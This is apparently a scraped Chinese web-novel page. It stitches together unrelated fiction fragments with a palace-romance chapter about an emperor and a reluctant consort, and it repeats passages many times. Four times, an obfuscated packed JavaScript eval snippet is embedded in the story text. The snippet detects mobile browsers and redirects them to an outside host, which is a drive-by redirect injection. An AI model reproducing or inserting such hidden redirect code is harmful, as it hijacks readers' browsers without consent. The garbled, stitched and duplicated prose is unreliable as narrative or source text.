闻言,李云尘同样诧异,没想到结界中至强的存在都是由人所造,而非鬼斧神工。 “难道我会怕你?”周隐心中大喜,表面上却是装作大怒的神色。 “既已入了地狱,便不要妄想再能回到世上!既然你这么想死,那我就送你一程!受死吧!”索命手中的白色**突然飞驰而过,穿透透明身影的心脏,狠狠的定在地面上。 林天玄也是没有想到,修为能进展的这么迅速,这一路突破过来,几乎没有什么波澜,虽然偶尔几次有些艰辛,不过比起修为增强又算的了什么。 被动效果:可以侦破任何等级的隐身潜行。在面对目标的时候,有百分之十的几率无视等级品级,可以看出任何目标的弱点伤害处,攻击到弱点造成300的伤害,可以产生暴击。 “你……”源陌愤怒的想要出声,这个时候独步天下的声音出来了。 即便再没有见识的萧氏族人,也明白那四朵巨大的蘑菇火云意味着什么。 不然,他一向不管家里事的人,怎么可能会对大房的家务事这么清楚明白。 “豪门恩怨?”宗铭总算收住了脑洞,开始履行作为领导的职责。 想来想去,流年都觉得百分之三十这个数字有点太大了,这是不是也意味着,凌清的危险系数也很大呢? 听到庄逸竟然是从‘阎王’的手里逃掉的,也是一副难以置信地看庄逸。 孟凡朗听着何念念的话,只是微微一笑,随后拥着何念念就来到了那柔软的沙发上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她本身就没有多稀罕他还看到了他撒酒疯的样子这以后……岂不是会更加躲着他? 何皇后打手势让沃夫上船。然后他把船推到水里爬了上去两人手里还都握着牵绳来控制这些动物。 看到同样穿着红色衣服扎着一模一样头发的许桃儿和廖卿愣了一下他没见过廖卿就过看了两眼。 那时我的脑子已经彻底混乱了记得以往所有可所有的一切又都是错乱的。 许桃儿避开廖毅光惊喜的泛着泪光的眼睛看向了叶副部长和肖睦渊。 然后那只手指向了台下晃晃悠悠颤颤巍巍也看不出在指谁。 周子旭人高腿长看着像是悠闲自在的跟着他脚步不疾不徐但是钟国强愣是没有把他落下。 尽管所谓的卡看看会只有杨天的回归才导致英0印0梆子和T果家害怕杨天并暂时决定向中0提供补偿以便让中果停止与之前的纠缠。限制。 接过手伸了半天也没看到胶带在哪低头这才发现紫苏正在发呆呢。 另一方面所谓识时务者为俊杰易殿主一心想杀了赤羽搏出气可易恒还是毅然选择与赤羽搏联手。 苏扬背负双手慢步走出跆拳道馆。现场一片寂静皆是目送着苏扬离开。眼神当中有敬 佩,有畏惧,也有恐慌。 “哼!就是你摆的什么请师宴?”玉阳林瞥了眼神色震惊的长袍男子!面色冰寒。 宗涛揪着心,眼睛一瞬不瞬地盯着,探照灯来来**的光亮,照见高继成如壁虎一般,身子贴墙。 “不错,想法不错,只不过有一点你说的不对,想杀我并且取而代之,根本就是痴心妄想,以你这区区实力本就在我之下,何德何能杀死我。”影杀说着,庞大的威势弥漫开来,势要与血染拼个你死我活。 “来,韩冰,我给你介绍一下,这位是我义父,这是我二叔。”莺儿分别介绍道。 此刻,萧凡的心神完全与外界隔绝,全心吸收和炼化神液内的真气与神通碎片。丹田内的真气海中,真气的品质得到了提升,真气海空间扩大,肉身的细胞又有数百万颗被神化,使得他的肉身也增强了一分。 陈君毅已经发现了,当自己连续的使用了限定解放还有生生不息之后,身体的难受的感觉降低了很多,于是他想到了另一个可能。 一行人转到寨顶,正要从北‘操’场行进,突然听到刘松的喊叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15377743|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子二话不说,双拳一碰,脖子一扭,以拳击的出招方式对夏凡发动攻击。 可是这些日子以来,所有的东西,都是开盘就跌停,完全没有任何悬念,大部分人已经都赔的底掉了。 一个电话就能请动日理万机的局长,一众村民自是不信,村长更是不信。 虽然刚才是掏出手机看了会热点新闻,可却是没有注意到电量还有多少,所以金元宝再次掏出了手机。 “对了,你妈现在在什么地方?和你与经常联系么?”奶奶问了一句。 万一要是得罪了不该得罪的,对于他们这些本就是寄人篱下的下人的家伙来说,怕不是就要受苦咯,万事还是看明白的些好。 楚昊天随手打出一道手印,法阵之中立刻飞出几种材料,法阵崩溃,一只半步妖君的黑狮立刻扑了出来。 “你就只会问问题?不会自己想想办法?”夏梦幽说着便抬起了手揪住了柳耀溪的耳朵。 果然……但,至于这么愤怒么?我回忆着叶凤兰消失之前的每一个细节。 说着的时候,林沧海手还比了一个大屁屁的手势,这让刘若萌很是羞愧。 不过他也不敢多问,刘馨最烦的就是有人敢在她耳旁唠叨,就算他是天王老子,铁定也是会碰得一鼻子的灰。 不是别人,正是大野一郎三番两次,和自己联系时候用的号码,只是在这个时候,大野一郎给他打电话是为了什么? 而现在袁术原本大军加上来援的军队,总数约有八万人,这八万大军屯驻在舆城在消水对岸的那一片地带,准备在消水与汉水交汇地的下游地方渡过汉水,直攻襄阳。 第149章 朕再说一遍,朕不爱她 胡尽忠自己其实也没谱他之所以用一个问句就是为了勾起皇上的好奇心引导皇上开口说话。 以他这些年察言观色的经验来看不管多么生气的人只要愿意开口说话就能找到突破口。 他跪坐在地上清了清嗓子摆出一副情场高手的架势问道:“皇上知道姑娘家都喜欢什么样的男人吗?” 祁让白了他一眼:“朕没耐烦和你猜猜猜你有话就说没话就滚!” “皇上别恼奴才说就是了。” 胡尽忠安抚着他开始侃侃而谈“世间男人形形**各有不同虽说是各花入各眼但姑娘们喜欢的男人也是有相同之处的。 比如外在要相貌俊美高大强健位高权重学识渊博;内在要胸怀宽广温柔体贴一心一意知冷知热。 这些都是最基本的另外还有真诚勇敢善良仁义风趣开朗有担当尊重人会哄女孩子开心等等等等。” 他摇头晃脑如数家珍地说完停下来看向祁让:“皇上觉得您能占几种?” 祁让冷着脸把他的话细细琢磨了一番突然抓起一本奏折向他砸过去:“狗奴才你是在说朕空有其表吗?” 胡尽忠吓得一哆嗦忙趴在地上磕头:“皇上息怒皇上饶命奴才这不是在帮您分析江美人为什么不愿意给您生孩子吗? 奴才的意思是说这女人呀有时候看的不只是外表相比外表她们更需要心意相通知情知趣她们只有发自内心的爱上了一个男人才会心甘情愿给他生孩子。” “呵!”祁让冷笑“你觉得朕需要吗后宫多的是女人愿意给朕生孩子。” “可那都不是皇上想要的呀!”胡尽忠把心一横不管不顾道“后宫那些娘娘们给皇上生孩子是为了给皇上开枝散叶绵延子嗣。 皇上想要江美人生孩子也是为了让她给您绵延子嗣吗?” 祁让怔住。 他其实并不在乎江晚余会不会给他生孩子。 但他不在乎是他的事江晚余不能不想 可事实上她就是不想就是不愿她抗拒他所以不肯给他生孩子。 胡尽忠小心翼翼察言观色又壮着胆子说道:“奴才的心和皇上的心是一样的奴才从一开始就希望江美人留在宫里陪伴皇上奴才为此也费了不少心思。 可是皇上您自个要想清楚您留她在宫里是图她的身子还是图她的心。 您若 图身子,奴才有的是法子,一颗药丸就能让她主动爬到龙床上去。 可您若图的是心,是不是也得拿出一点真心,好好的和人家相处? “朕怎么不真心了?祁让一个眼刀子扫过去,“朕在她身上花了多少功夫,你不知道吗? 胡尽忠摊摊手:“奴才知道,可皇上自个想想,您花的都是什么功夫? 那些功夫,有一个跟温柔体贴,知冷知热沾边的吗? 尤其今天,您和江美人说的都是什么呀,您说人家是外室女,不配得到尊重。 还说人家就是个玩意儿,不配怀您的孩子,这话搁谁谁受得了…… 话音未落,一堆奏折劈头盖脸地砸过来。 “狗东西,给朕闭嘴!祁让厉声骂道,“你当真是胆子肥了,竟敢来编排朕,质问朕。 朕是天子,朕想要什么样的女人没有,让朕对一个女人低声下气,温柔小意,你当朕是外面那些娶不到媳妇的破落户吗? 胡尽忠被砸得哎呦直叫,又趴在地上磕头:“皇上息怒,奴才不是这个意思…… “滚出去!祁让指着门口厉声喝斥。 胡尽忠见他动了大怒,不敢再贫嘴,捂着脑袋连滚带爬地退了出去。 到了门外,看到孙良言正抱着拂尘,耳朵贴在门框上偷听,伸手拉他走到一旁,叫苦连天道:“孙大总管,您还有闲心听墙角,您瞧瞧我这一脑门的包。 “没包,没包,就是有点破皮。孙良言忍着笑,给他吹了吹,“行了,别愁眉苦脸了,你说的话我都听见了,你说的特别好,皇上就是脸上挂不住才把你撵出来的,等我进去再给他找补两句,就差不多了。 胡尽忠不信,等他进了屋,也学他把耳朵贴在门框上偷听。 孙良言进去之后,看到地上散落一地的折子,就蹲下来,把折子一本一本捡起来,码得整整齐齐放回到龙案上。 祁让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁让深吸气,果断否定了心底那个蠢蠢欲动的念头。 他根本不爱那个女人。 他对那女人,连喜欢都谈不上。 他就是看不惯她看不惯他的样子,他所做的一切,都只是单纯地想撕碎她的希望,把她留在身边,让她一辈子都不能得偿所愿。 那女人不是说了吗,他根本没有心。 没有心的人,自然也不需要爱,更不会爱上一个心里没有他的女人。 不仅现在不会,以后也不会。 他永远都不会爱上她! 他又深吸了一口气,稳住心神,冲孙良言摆手道:“你出去吧,朕已经好了,不会再生气。” 孙良言观他脸色,又试着劝道:“皇上,奴才不是说您连一个女人都不能喜欢,您若真心喜欢江美人,不妨听听胡尽忠的建议……” “够了!”祁让厉声打断他,“朕说了朕不喜欢她,朕也不会被一个女人扰乱心神。 她不是犟吗,就让她在后宫自生自灭好了。” ”……“孙良言无语又无奈,只得暂时退下。 刚一转身,就看到胡尽忠一只手挑着门帘,一只手对他比划了一个喝水的姿势。 孙良言愣了下,随即恍然大悟,向祁让问道:“皇上,还要给江美人送避子汤吗?” 祁让眉心微蹙,有一瞬间的迟疑,但很快就恢复如常:“送,当然要送,朕不需要一个心里想着别人的女人给朕生孩子。” 此言一出,胡尽忠在门外直拍脑门。 皇上真是死鸭子嘴硬。 他哪怕说江美人现在身子虚弱,不适合怀孕呢! 可他偏要说他不需要。 真愁人,自己教半天白教了。 这时,就听祁让又说:“把她该得的份例给她送去吧,另外再给她配几个人手,她若不想留着梅霜,就把梅霜调到别处去。” “是。”孙良言答应一声,退了出去。 胡尽忠在门外冲他摊手:“怎么着,大总管,您老人家亲自出马也不行吧!” “怎么不行,皇上这不是不生气了吗?”孙良言说,“皇上就这别扭性子,且得消化一阵子呢,你先别管了,去给江美人送避子汤吧,顺便好生安慰安慰她。” “那好吧!”胡尽忠摇摇头,唉声叹气地走了。 皇上糊涂呀皇上,他根本不知道,他想要抓住江美人的心,恐怕只剩下生孩子这一条路了。 晚余如愿得到了一碗避子汤,总算可以 安心养伤,不用再担心自己会怀上孩子。 孙良言亲自给她挑了四个宫女和两个小太监,把梅霜调到了别处。 梅霜走的时候在她床前痛哭了一场,哭得她心里说不出的难受。 但她们之间已经出现了裂缝,晚余做不到毫无芥蒂的把她留下。 紫苏作为晚余跟前唯一的大宫女,接下来的几天一直忙着调教新人。 在此期间,祁让一次都没再踏足咸福宫,但也没有翻其他人的牌子。 各宫的主子娘娘虽有怨言,因着兰贵妃和康嫔的受罚,谁也不敢胡乱冒头。 庄妃和贤妃什么都没做,却意外成为了最大的赢家。 管理后宫的权利落在她们手里,只要运筹得当,两个月的时间,足够她们把兰贵妃的人手换成自己的人手。 等到兰贵妃禁足结束,局势早已不受她控制,就算再夺回大权,也要费一番功夫调整。 太后还惦记着晋王的事,隔三岔五地打发人给晚余送补品,想让她快些养好身体,继续她们的计划。 期间,江晚棠求见祁让,想请他的旨意到咸福宫探望晚余。 祁让没见她,也没有答应她的请求。 晚余对此一无所知,安安生生在咸福宫养伤。 等她伤势基本痊愈,时节也到了年末岁尾,宫里开始热热闹闹地准备过腊八节。 紫苏从外面回来,告诉她一个好消息,说皇上把徐清盏官复原职了。 晚余惊喜又意外,问是什么原因。 紫苏说好像是和追查哪位皇子留下的乱党余孽有关,徐清盏受了重伤,差点回不来。 晚余听得心惊胆战,尽管知道徐清盏已经无恙,还是忍不住为他心疼。 想起那天在宫道上,徐清盏说他已经安排好了,叫她不要着急,不要去求皇上。 晚余猜想,可能他那时候就已经打听到了那些乱党余孽的行踪,决心以命相博。 他这样不管不顾地将生死置之度外,固然是为了重新得到祁让的认可,但又何尝不是为了她。 他总说叫她什么都不要做,只要等着他和长安就好。 可他和长安都在用生命来守护她,她又怎能心安理得地躲在他们身后,让他们承担所有的风雨? 他们本是一体,就该并肩作战,尽自己最大的努力成为彼此的依靠。 太后得知晚余病体康复,打发叶嬷嬷来送了些腊八节的礼物。 叶嬷嬷请晚余屏退下人,和她说了太后的打算。 太后说这几日要过节,各处防守都相对松散,叫她找机会往撷芳殿走一趟。 叶嬷嬷走后,晚余独自思索了一会儿,不知道要不要把这件事告诉祁让。 她这些天没见祁让,日子过得清静又安逸,一旦见到祁让,不知道又会发生什么不可控的事情。 一想到祁让凶狠愤怒,恨不能将她拆吃入腹的样子,她就本能地想逃避。 然而,她注定是逃避不了的,没等她想好要不要去见祁让,前面就来了旨意,说皇上翻了她的牌子,叫她到乾清宫侍寝。 这道旨意,如巨石投入湖心,沉寂多日的后宫顿时激起了千层浪。 皇上一连多日都不肯翻牌子,江晚余的身子刚好,他就迫不及待翻了人家的牌子。 所以,他这是在为江晚余守身如玉吗? 晚余不知道祁让是不是得知叶嬷嬷来过,才借着翻牌子把她叫去问话。 左右是躲不过,她只得收拾一番,坐着肩辇去了乾清宫。 她以为可以直接去寝殿面见祁让,引路的太监却把她领到偏殿,叫她沐浴更衣,要用被子将她赤身裸体包起来送到龙床上去。 晚余脑子嗡的一声,小脸涨得通红。 她知道,宫里低位妃嫔侍寝是有这么个规矩,可她做采女的时候,祁让也不曾让她这样。 而今给她晋了位分,却要她用这种羞耻的方式去侍寝。 这是诚心要羞辱她吗? “小主,赶紧着吧,这都是规矩。”太监催促道。 晚余无奈,忍着巨大的羞耻被两个嬷嬷里里外外洗了个干净,卷在被子里被驮妃太监驮进寝殿,放在了龙床上。 “皇上还在东暖阁看折子,小主先等一会儿。”太监把她放下就退了出去。 晚余静静地躺在床上,死死咬住嘴唇,用疼痛来缓解内心的羞愤。 不知等了多久,她听到祁让的脚步声往这边走来,一颗心顿时提到了嗓子眼。 那熟悉的,沉稳的脚步声,仿佛每一步都踩在她心尖上。 脚步声越来越近,祁让高大挺拔的身影隔着层层叠叠的纱帐出现在视线里,还没靠近,无边的威压已经蔓延开来。 晚余屏住呼吸,羞耻地闭上了双眼。 太后说这几日要过节,各处防守都相对松散,叫她找机会往撷芳殿走一趟。 叶嬷嬷走后,晚余独自思索了一会儿,不知道要不要把这件事告诉祁让。 她这些天没见祁让,日子过得清静又安逸,一旦见到祁让,不知道又会发生什么不可控的事情。 一想到祁让凶狠愤怒,恨不能将她拆吃入腹的样子,她就本能地想逃避。 然而,她注定是逃避不了的,没等她想好要不要去见祁让,前面就来了旨意,说皇上翻了她的牌子,叫她到乾清宫侍寝。 这道旨意,如巨石投入湖心,沉寂多日的后宫顿时激起了千层浪。 皇上一连多日都不肯翻牌子,江晚余的身子刚好,他就迫不及待翻了人家的牌子。 所以,他这是在为江晚余守身如玉吗? 晚余不知道祁让是不是得知叶嬷嬷来过,才借着翻牌子把她叫去问话。 左右是躲不过,她只得收拾一番,坐着肩辇去了乾清宫。 她以为可以直接去寝殿面见祁让,引路的太监却把她领到偏殿,叫她沐浴更衣,要用被子将她赤身裸体包起来送到龙床上去。 晚余脑子嗡的一声,小脸涨得通红。 她知道,宫里低位妃嫔侍寝是有这么个规矩,可她做采女的时候,祁让也不曾让她这样。 而今给她晋了位分,却要她用这种羞耻的方式去侍寝。 这是诚心要羞辱她吗? “小主,赶紧着吧,这都是规矩。”太监催促道。 晚余无奈,忍着巨大的羞耻被两个嬷嬷里里外外洗了个干净,卷在被子里被驮妃太监驮进寝殿,放在了龙床上。 “皇上还在东暖阁看折子,小主先等一会儿。”太监把她放下就退了出去。 晚余静静地躺在床上,死死咬住嘴唇,用疼痛来缓解内心的羞愤。 不知等了多久,她听到祁让的脚步声往这边走来,一颗心顿时提到了嗓子眼。 那熟悉的,沉稳的脚步声,仿佛每一步都踩在她心尖上。 脚步声越来越近,祁让高大挺拔的身影隔着层层叠叠的纱帐出现在视线里,还没靠近,无边的威压已经蔓延开来。 晚余屏住呼吸,羞耻地闭上了双眼。 太后说这几日要过节,各处防守都相对松散,叫她找机会往撷芳殿走一趟。 叶嬷嬷走后,晚余独自思索了一会儿,不知道要不要把这件事告诉祁让。 她这些天没见祁让,日子过得清静又安逸,一旦见到祁让,不知道又会发生什么不可控的事情。 一想到祁让凶狠愤怒,恨不能将她拆吃入腹的样子,她就本能地想逃避。 然而,她注定是逃避不了的,没等她想好要不要去见祁让,前面就来了旨意,说皇上翻了她的牌子,叫她到乾清宫侍寝。 这道旨意,如巨石投入湖心,沉寂多日的后宫顿时激起了千层浪。 皇上一连多日都不肯翻牌子,江晚余的身子刚好,他就迫不及待翻了人家的牌子。 所以,他这是在为江晚余守身如玉吗? 晚余不知道祁让是不是得知叶嬷嬷来过,才借着翻牌子把她叫去问话。 左右是躲不过,她只得收拾一番,坐着肩辇去了乾清宫。 她以为可以直接去寝殿面见祁让,引路的太监却把她领到偏殿,叫她沐浴更衣,要用被子将她赤身裸体包起来送到龙床上去。 晚余脑子嗡的一声,小脸涨得通红。 她知道,宫里低位妃嫔侍寝是有这么个规矩,可她做采女的时候,祁让也不曾让她这样。 而今给她晋了位分,却要她用这种羞耻的方式去侍寝。 这是诚心要羞辱她吗? “小主,赶紧着吧,这都是规矩。”太监催促道。 晚余无奈,忍着巨大的羞耻被两个嬷嬷里里外外洗了个干净,卷在被子里被驮妃太监驮进寝殿,放在了龙床上。 “皇上还在东暖阁看折子,小主先等一会儿。”太监把她放下就退了出去。 晚余静静地躺在床上,死死咬住嘴唇,用疼痛来缓解内心的羞愤。 不知等了多久,她听到祁让的脚步声往这边走来,一颗心顿时提到了嗓子眼。 那熟悉的,沉稳的脚步声,仿佛每一步都踩在她心尖上。 脚步声越来越近,祁让高大挺拔的身影隔着层层叠叠的纱帐出现在视线里,还没靠近,无边的威压已经蔓延开来。 晚余屏住呼吸,羞耻地闭上了双眼。 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不知等了多久,她听到祁让的脚步声往这边走来,一颗心顿时提到了嗓子眼。 那熟悉的,沉稳的脚步声,仿佛每一步都踩在她心尖上。 脚步声越来越近,祁让高大挺拔的身影隔着层层叠叠的纱帐出现在视线里,还没靠近,无边的威压已经蔓延开来。 晚余屏住呼吸,羞耻地闭上了双眼。 太后说这几日要过节,各处防守都相对松散,叫她找机会往撷芳殿走一趟。 叶嬷嬷走后,晚余独自思索了一会儿,不知道要不要把这件事告诉祁让。 她这些天没见祁让,日子过得清静又安逸,一旦见到祁让,不知道又会发生什么不可控的事情。 一想到祁让凶狠愤怒,恨不能将她拆吃入腹的样子,她就本能地想逃避。 然而,她注定是逃避不了的,没等她想好要不要去见祁让,前面就来了旨意,说皇上翻了她的牌子,叫她到乾清宫侍寝。 这道旨意,如巨石投入湖心,沉寂多日的后宫顿时激起了千层浪。 皇上一连多日都不肯翻牌子,江晚余的身子刚好,他就迫不及待翻了人家的牌子。 所以,他这是在为江晚余守身如玉吗? 晚余不知道祁让是不是得知叶嬷嬷来过,才借着翻牌子把她叫去问话。 左右是躲不过,她只得收拾一番,坐着肩辇去了乾清宫。 她以为可以直接去寝殿面见祁让,引路的太监却把她领到偏殿,叫她沐浴更衣,要用被子将她赤身裸体包起来送到龙床上去。 晚余脑子嗡的一声,小脸涨得通红。 她知道,宫里低位妃嫔侍寝是有这么个规矩,可她做采女的时候,祁让也不曾让她这样。 而今给她晋了位分,却要她用这种羞耻的方式去侍寝。 这是诚心要羞辱她吗? “小主,赶紧着吧,这都是规矩。”太监催促道。 晚余无奈,忍着巨大的羞耻被两个嬷嬷里里外外洗了个干净,卷在被子里被驮妃太监驮进寝殿,放在了龙床上。 “皇上还在东暖阁看折子,小主先等一会儿。”太监把她放下就退了出去。 晚余静静地躺在床上,死死咬住嘴唇,用疼痛来缓解内心的羞愤。 不知等了多久,她听到祁让的脚步声往这边走来,一颗心顿时提到了嗓子眼。 那熟悉的,沉稳的脚步声,仿佛每一步都踩在她心尖上。 脚步声越来越近,祁让高大挺拔的身影隔着层层叠叠的纱帐出现在视线里,还没靠近,无边的威压已经蔓延开来。 晚余屏住呼吸,羞耻地闭上了双眼。 太后说这几日要过节,各处防守都相对松散,叫她找机会往撷芳殿走一趟。 叶嬷嬷走后,晚余独自思索了一会儿,不知道要不要把这件事告诉祁让。 她这些天没见祁让,日子过得清静又安逸,一旦见到祁让,不知道又会发生什么不可控的事情。 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殷安然这一次选择的是成熟风格,精致剪裁的黑白色的休闲装,圆领露出清晰漂亮的锁骨。灰色超短裙搭上过膝袜,恰到好处衬出修长的腿,白色凉靴简单大方,雪白皓腕上斜扣了对月牙链,走的是欧美范。 这里下面的空间已经被打开在想封印已经不可能了,至少以此时楚轩的实力是做不到了。 在他的面前不是别人,正是进入时乐灵魂空间后回来的君天凌、皓月、玉玲珑、白鬼、童婳五人。 面对体型力量相差无几的银羽,伊洛无法挣脱,只能任由他压制着。 本来心心期盼的修炼,飞天遁地的法术,自己眼下就只能听清水、浮月讲讲,根本解除不到。 凭借着自己有灵气,李炎用足了力气又是踹又是踢,双手使劲晃荡个没玩,才总算把外层的椁给憋拆零散了。 “想呀,你再不出现,这课堂我可**不住,工资收入不是不保了。”叶离不假思索。 她感到死亡的阴影朝着她笼罩过来,害怕的眸子都几乎要凸出来。 炼灵舟的材料都准备好了,甚至比宝贝1号用的,高了好几个档次。 这些眼线不会傻到用自己的电子设备和外界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388468|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联系,所有这一搜是很有必要的。 秦丹丹舒了一口冷气,也开始对死者表面检查,溺水死者,首先就是要确定,死者是生前溺水,还是死后落水,这两者一定要区分。 看着萧昭低垂着头,钱大郎一个大男子看了都不禁酸涩不已,非常的想要开口安慰萧昭,如果并不会**,并不会有事了。 就在这时,一只年轻漂亮的手出现在她的视线里,随即,帕子被人捡起抖掉灰尘后重新放回了她手心。 “我只是随口说,并没有让你去**,当然我也没有骗你,的确是真的?”没想到服务员的刚说完,钱金圣既然呵呵一笑道。 长生这两个字对他充满了诱惑力,或许别人不知晓生命的脆弱,张亮可是了解的很清楚。 听到萧夜的消息,这家伙直接将休沐的禁军招了过来,足足二十来人。所幸现在是晚上,不然真不知道会闹出多大的动静。 无论是将自己等人淘汰还是说邀请加入,这样子以来都能够形成集团军。 第一卷 第152章 甘愿一辈子被他折磨羞辱吗 殿门外,胡尽忠和孙良言伸长脖子在外面等候。 宫如芊喜欢坐在安静偏僻的角落里,她的那种忧郁的气质吸引了旁边的一些居心不良的荷尔蒙的关注,她连眼皮都懒得抬一下,低头品味着美味的咖啡,静静的等待。 兰燕睁开眼一看,秦傲风的脸就近大咫尺,不由的心咯噔一下开始砰砰直跳,脸也红的像烧红的祸底,怔怔的望着秦傲风。 信中好不忘向自己自己索要新的歌曲,他摇了摇头,这老牛可是自己比较好的同学了,这个面子不能驳了,叶尘想了想符合甘静的歌曲,然后就做好了决定。 几乎是下意识的,所有在苏牧前方的狱卒这个时候都是主动的让开,甚至有些人不敢和苏牧对视眼神,这种震慑力可想而知有多大? 周围的堕落天使一个接着一个飞向了天际,然后消失在云海之中,而此时的天使炙心也张开翅膀,然后慢慢的飞向苏牧的位置,紧随着往下落去,而苏牧和金凝只能随着她慢慢的落在了城堡的房顶上。 而现在步悔的直播间可不同了,人数已经稳定在了十六万到十八万之间,如果单看观众人数的话。 更何况这次的拍摄器材,都是张其利支援给自己的,这里面的情分自然不用多说了,该还的时候自然是要还的。 夏末睁开惺松的睡眼,昏昏沉沉的从床上下来,拿起桌上的茶杯倒了杯茶漱了漱口。 志泽对我的想法也很赞许,含笑微微朝我点了点头。此刻我心中则是出奇的平静,告诉自己,这原本就是不属于我的东西,我没有强取的权力,我所要做的,就是要让它有个好的归宿。 “喜不喜欢是你的事情,但她,我还真是没有看出来,居然藏得那么深。”苏沫嘴角的笑意只剩下浅浅一点,说起来林雨给她的礼还真是不少呢。 所以,此时此刻,他必须抗下这个【星芒击】,给蛇七拉扯出时间赶来帮他。 这对杨纵横无疑具有巨大的吸引力,见是不好见了,但是威力还是可以看一看的。 离火冷笑一声,天空中传来响起一阵呼啸声,接着漫天火舌如同雨点一般倾泻而下。 齐保良因为齐卫东的婚事,把家里的存款钱都花得七七八八了,只能卖了家里的手扶拖拉机给妻子看病,齐卫青更是将自己工作以来的攒下的工资都拿了出来。 她虽然不认识眼前这个男人,不知道对方是谁,却听荣寒城刚刚叫他聂叔,想来是姓聂,就跟着一起这么叫。 温软眼底略过一抹慌乱,不过她也立刻反应过来,应该是那日她去机场偶遇魏长泽被媒体拍到,拥抱的照片也许是角度问题。 暮色沉沉,青铜色的天幕宛若一张遮天大网,披散黑暗,笼罩在龙首山的五座山峰。 张医生向来有一说一,他说老大过不了多久能醒,老大就一定能醒。 医院已经上班,可以办手续出院,老爷子非让人先不办,说再等等。 “喜欢就好,吃吧。”苏琪趁动碗筷前手还干净,揉了揉蓝惜的头发。 殿门外,胡尽忠和孙良言伸长脖子在外面等候。 宫如芊喜欢坐在安静偏僻的角落里,她的那种忧郁的气质吸引了旁边的一些居心不良的荷尔蒙的关注,她连眼皮都懒得抬一下,低头品味着美味的咖啡,静静的等待。 兰燕睁开眼一看,秦傲风的脸就近大咫尺,不由的心咯噔一下开始砰砰直跳,脸也红的像烧红的祸底,怔怔的望着秦傲风。 信中好不忘向自己自己索要新的歌曲,他摇了摇头,这老牛可是自己比较好的同学了,这个面子不能驳了,叶尘想了想符合甘静的歌曲,然后就做好了决定。 几乎是下意识的,所有在苏牧前方的狱卒这个时候都是主动的让开,甚至有些人不敢和苏牧对视眼神,这种震慑力可想而知有多大? 周围的堕落天使一个接着一个飞向了天际,然后消失在云海之中,而此时的天使炙心也张开翅膀,然后慢慢的飞向苏牧的位置,紧随着往下落去,而苏牧和金凝只能随着她慢慢的落在了城堡的房顶上。 而现在步悔的直播间可不同了,人数已经稳定在了十六万到十八万之间,如果单看观众人数的话。 更何况这次的拍摄器材,都是张其利支援给自己的,这里面的情分自然不用多说了,该还的时候自然是要还的。 夏末睁开惺松的睡眼,昏昏沉沉的从床上下来,拿起桌上的茶杯倒了杯茶漱了漱口。 志泽对我的想法也很赞许,含笑微微朝我点了点头。此刻我心中则是出奇的平静,告诉自己,这原本就是不属于我的东西,我没有强取的权力,我所要做的,就是要让它有个好的归宿。 “喜不喜欢是你的事情,但她,我还真是没有看出来,居然藏得那么深。”苏沫嘴角的笑意只剩下浅浅一点,说起来林雨给她的礼还真是不少呢。 所以,此时此刻,他必须抗下这个【星芒击】,给蛇七拉扯出时间赶来帮他。 这对杨纵横无疑具有巨大的吸引力,见是不好见了,但是威力还是可以看一看的。 离火冷笑一声,天空中传来响起一阵呼啸声,接着漫天火舌如同雨点一般倾泻而下。 齐保良因为齐卫东的婚事,把家里的存款钱都花得七七八八了,只能卖了家里的手扶拖拉机给妻子看病,齐卫青更是将自己工作以来的攒下的工资都拿了出来。 她虽然不认识眼前这个男人,不知道对方是谁,却听荣寒城刚刚叫他聂叔,想来是姓聂,就跟着一起这么叫。 温软眼底略过一抹慌乱,不过她也立刻反应过来,应该是那日她去机场偶遇魏长泽被媒体拍到,拥抱的照片也许是角度问题。 暮色沉沉,青铜色的天幕宛若一张遮天大网,披散黑暗,笼罩在龙首山的五座山峰。 张医生向来有一说一,他说老大过不了多久能醒,老大就一定能醒。 医院已经上班,可以办手续出院,老爷子非让人先不办,说再等等。 “喜欢就好,吃吧。”苏琪趁动碗筷前手还干净,揉了揉蓝惜的头发。 殿门外,胡尽忠和孙良言伸长脖子在外面等候。 宫如芊喜欢坐在安静偏僻的角落里,她的那种忧郁的气质吸引了旁边的一些居心不良的荷尔蒙的关注,她连眼皮都懒得抬一下,低头品味着美味的咖啡,静静的等待。 兰燕睁开眼一看,秦傲风的脸就近大咫尺,不由的心咯噔一下开始砰砰直跳,脸也红的像烧红的祸底,怔怔的望着秦傲风。 